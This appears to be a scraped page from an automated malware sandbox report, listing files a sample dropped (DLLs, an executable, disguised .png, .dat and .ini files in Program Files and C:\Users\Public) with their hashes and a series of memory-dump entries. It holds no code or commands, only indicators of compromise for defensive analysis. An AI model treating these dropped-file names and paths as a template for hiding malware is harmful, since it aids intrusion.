T188363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\821dAh\thumbs.db
Size 358KB
SHA256 71afbb7c7f26880e90b61f38521db1f44fa535d7721c6d29851f36cf54d5ec32
MD5 28da912e416581f1613bb9e0748a6779
SHA1 1f0b143965e7b52b276199f818033dfd7300c1dc
SHA512 a20899e48638ab335be6ec2bd2cd2a654c54fa8a4c01398f98ddd6fe281106758182b56bcf99e55155b99027afdd9ab392c6e7547cb90648d0b9421d95fcb6fb
SSDEEP 6144:0iACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:j8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T12874F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\rTs7xC\XPSPLOG.dll
Size 4.6MB
SHA256 880b38e02d90cf9c9ff989684d26d16b92eada49a82bbde5fd3ec18015898786
MD5 3d0909be6069e102ab5cc77e4d87593f
SHA1 c7d727cbdc000d4cfe58583c960015e573f5ff4a
SHA512 d37597fca0bc934fecddedf65522a20ed54a1e4195cfecb92c7455bceed583e77678d8d50427fbdea1fe7796870ab40c02dd8a18b9fc903c7da9e7305efcb3d6
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyb:BMWKfU+BcUTHCCCfqCiUffnb
TLSH
T12C263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\rTs7xC\image.png
Size 5.0MB
SHA256 a01366a1a16854c3875cd848eff68fe7430e7254fd8f505b48e6d0abbe7626f0
MD5 b843589e1c1752412b86c6f9fe43d075
SHA1 33fbb557900b6a0c682cf2e4af7b18aa81ee12c3
SHA512 2e40ed15659d7fa1e08511b9bd6754878626c4f45c125be576a9d8c277727606658c75ec42c019d5d18fd3f814f007ed75e47ca2a1c321d3e943bb0273e6ebd5
SSDEEP 98304:kqvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX:A/u21dGs2rOal3UpkiMT59IZVGhW
TLSH
T163363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\FmUnOi\UxEnhance64.dll
Size 3.1MB
SHA256 ac46e0bc2bff9bd1cc3a3c18daf089513ac9e37b9aebf101a78437b8ffdde923
MD5 b1a07539aa1c8110c028d60855ef21b9
SHA1 1ac8523505037717203ffcb2b1b06892400a3f27
SHA512 4cafd5c1fc5a989bb6b5de022ca69aba6434c9865d3411d7222e20867681d5347a3d8a184ac21106ae5f146d39e2cccb538b9b32b3b867ccf592d9dddadff24b
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+5:P9m29xx3Tiqt06ox6+z2rNNrKo5
TLSH
T1BAE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

YCGlvB.exe

Path C:\Users\Public\FmUnOi\YCGlvB.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\FmUnOi\adoresd.dat
Size 4.7MB
SHA256 793e99e4d6bda7114bacb90782b3121d452397607cea6c72e52cb99a760ac271
MD5 08aa4bf83594d025389f616b92d0162b
SHA1 87ad0be8ee43ad3daf88e9bf205c2dc80da1f6d2
SHA512 3236fc1997c35e423c77ecb26f7da880115291ae4ed59a2a9a9282161e4b58daff4a189ab0eb27b32f9ee7f963ab6662578d97acb455ec433a6563309b5018f9
SSDEEP 98304:Mmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:fu1SwOflfZPF6Ma0bsoa5+qd
TLSH
T15E3633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\FmUnOi\msadox.tb
Size 8KB
SHA256 6446016a48fa2f58127483642438bd611488f217b5aae42accea4e6e335aa197
MD5 e9626e3827828c05f163f528bf1befe6
SHA1 4e0e0a0606711103c68bc517c0ec753b348c5a02
SHA512 e18a9740dbc0a0bb6a200dec709271557548ec752cf02d2ff32c75546d8b19522b2e62ed476458970724d31a251e496339fa0d08a5f031d4a26ac7b31a5c922a
SSDEEP 192:fqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:fsZqZOXQ3uqvR2Kfzp
TLSH
T17B029E05D7A20CC3E2016C71CD9EB2F5AB23A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

memory/204-727-0x00000000014E0000-0x00000000014E1000-memory.dmp

Download

memory/204-728-0x0000000074CA0000-0x00000000753EA000-memory.dmp

Download

memory/792-1-0x00000000048D0000-0x00000000048DB000-memory.dmp

Download

memory/792-503-0x00007FFE5BAB0000-0x00007FFE5BAC2000-memory.dmp

Download

memory/792-526-0x00007FFE5BAB0000-0x00007FFE5BAC2000-memory.dmp

Download

memory/792-0-0x00000000048C0000-0x00000000048CD000-memory.dmp

Download

memory/792-525-0x00000000048C0000-0x00000000048CD000-memory.dmp

Download

memory/1740-610-0x0000020FD0730000-0x0000020FD073A000-memory.dmp

Download

memory/1740-609-0x0000020FD0670000-0x0000020FD0722000-memory.dmp

Download

memory/1740-608-0x0000020FD0440000-0x0000020FD045E000-memory.dmp

Download

memory/1740-604-0x0000020FD03E0000-0x0000020FD0402000-memory.dmp

Download

memory/3568-563-0x000002759AFA0000-0x000002759B02A000-memory.dmp

Download

memory/3568-559-0x000002759AFA0000-0x000002759B02A000-memory.dmp

Download

memory/3568-567-0x000002759BA40000-0x000002759C2D1000-memory.dmp

Download

memory/3568-568-0x000002759BA40000-0x000002759C2D1000-memory.dmp

Download

memory/3568-539-0x00007FFE64340000-0x00007FFE64342000-memory.dmp

Download

memory/3568-537-0x000002759BA40000-0x000002759C2D1000-memory.dmp

Download

memory/3568-558-0x0000027599700000-0x000002759974E000-memory.dmp

Download

memory/3568-532-0x00007FFE41590000-0x00007FFE41AAE000-memory.dmp

Download

memory/3568-531-0x00007FFE64330000-0x00007FFE64332000-memory.dmp

Download

memory/3568-565-0x000002759BA40000-0x000002759C2D1000-memory.dmp

Download

memory/3568-560-0x000002759AFA0000-0x000002759B02A000-memory.dmp

Download

memory/3568-544-0x000002759BA40000-0x000002759C2D1000-memory.dmp

Download

memory/3568-561-0x000002759AFA0000-0x000002759B02A000-memory.dmp

Download

memory/3568-552-0x000002759BA40000-0x000002759C2D1000-memory.dmp

Download

memory/3568-547-0x000002759BA40000-0x000002759C2D1000-memory.dmp

Download

memory/3568-546-0x000002759BA40000-0x000002759C2D1000-memory.dmp

Download

memory/3568-545-0x000002759BA40000-0x000002759C2D1000-memory.dmp

Download

memory/3568-540-0x000002759BA40000-0x000002759C2D1000-memory.dmp

Download

memory/3700-696-0x0000000002A00000-0x0000000002A14000-memory.dmp

Download

memory/3700-713-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/3700-679-0x0000000074CA0000-0x00000000753EA000-memory.dmp

Download

memory/3700-740-0x00000000035B0000-0x0000000003DB7000-memory.dmp

Download

memory/3700-683-0x00000000035B0000-0x0000000003DB7000-memory.dmp

Download

memory/3700-684-0x0000000001140000-0x0000000001141000-memory.dmp

Download

memory/3700-685-0x00000000035B0000-0x0000000003DB7000-memory.dmp

Download

memory/3700-689-0x00000000035B0000-0x0000000003DB7000-memory.dmp

Download

memory/3700-705-0x00000000035B0000-0x0000000003DB7000-memory.dmp

Download

memory/3700-677-0x0000000001120000-0x0000000001121000-memory.dmp

Download

memory/3700-716-0x00000000035B0000-0x0000000003DB7000-memory.dmp

Download

memory/3700-709-0x00000000035B0000-0x0000000003DB7000-memory.dmp

Download

memory/4088-742-0x0000000002FE0000-0x0000000002FE1000-memory.dmp

Download

memory/4088-753-0x0000000002FE0000-0x0000000002FE1000-memory.dmp

Download

memory/4088-750-0x0000000003B70000-0x0000000004377000-memory.dmp

Download

memory/4088-749-0x0000000003000000-0x0000000003001000-memory.dmp

Download

memory/4088-747-0x0000000003B70000-0x0000000004377000-memory.dmp

Download

memory/4088-743-0x0000000073800000-0x0000000073F4A000-memory.dmp

Download

memory/4896-580-0x00007FFE64340000-0x00007FFE64342000-memory.dmp

Download

memory/4896-578-0x00000192947F0000-0x0000019295081000-memory.dmp

Download

memory/4896-587-0x00000192947F0000-0x0000019295081000-memory.dmp

Download

memory/4896-585-0x00000192947F0000-0x0000019295081000-memory.dmp

Download

memory/4896-574-0x00007FFE41590000-0x00007FFE41AAE000-memory.dmp

Download

memory/4896-581-0x00000192947F0000-0x0000019295081000-memory.dmp

Download

memory/4896-589-0x00007FFE64330000-0x00007FFE64332000-memory.dmp

Download

memory/4896-586-0x00000192947F0000-0x0000019295081000-memory.dmp

Download

memory/4896-588-0x00000192947F0000-0x0000019295081000-memory.dmp

Download